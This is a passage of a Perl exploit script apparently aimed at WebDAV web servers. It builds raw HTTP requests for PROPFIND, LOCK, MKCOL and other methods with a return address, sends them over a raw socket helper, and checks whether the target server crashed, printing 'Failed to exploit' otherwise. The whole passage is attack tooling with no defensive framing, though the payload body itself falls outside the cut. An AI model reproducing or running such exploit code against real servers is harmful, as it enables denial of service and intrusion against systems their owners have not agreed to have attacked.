	#("GET","HEAD","PUT","COPY","DELETE","POST","UNLOCK","LOCK","MOVE","GET","HEAD","PUT","MKCOL","PROPPATCH","PROPFIND")
	{
		my $string_to_send="$METHOD $url HTTP/1.1\r\n${host_header}${destination}${lock_token}${translate_f}${depth}Content-Type: text/xml\r\nContent-Length: $length_of_body\r\n${connection_str}\r\n${body}";
		my $results="";
		$results="";
		while($results eq "")
		{
			print STDERR "Retrying Connection...\n";
			$results=sendraw2("GET / HTTP/1.0\r\n\r\n",$host,$port,15);
			if($results eq "")
			{
				sleep(1);
			}
		}
		print STDERR "Trying with [$return_address]\n";
		$results=sendraw2($string_to_send,$host,$port,15);
		if($results eq "")
		{
			print "Connection refused: Server crashed?\n";
		}else{
			print "Failed to exploit: Server not crashed\n";
			print $results;
		}
	}
}

sub sendraw2
{
	my ($pstr,$realip,$realport,$timeout)=@_;
	my $target2=inet_aton($realip);
	
	my $flagexit=0;
	$SIG{ALRM}=\&ermm;
	socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || return "0";
	#die("Socket problems");
	alarm($timeout);
	if(connect(S,pack "SnA4x8",2,$realport,$target2))
	{
		alarm(0);
		my @in;
		select(S); $|=1;
		print $pstr;
		alarm($timeout);
		while(<S>){
			if($flagexit == 1)
			{
				close (S);
				return "Timeout";
			}
			push @in, $_;
		}
		alarm(0);
		select(STDOUT);
		close(S);
		return join '',@in;
        }else{
		close(S);
		return "";
	}
}

sub ermm
{
	$flagexit=1;
	close (S);
}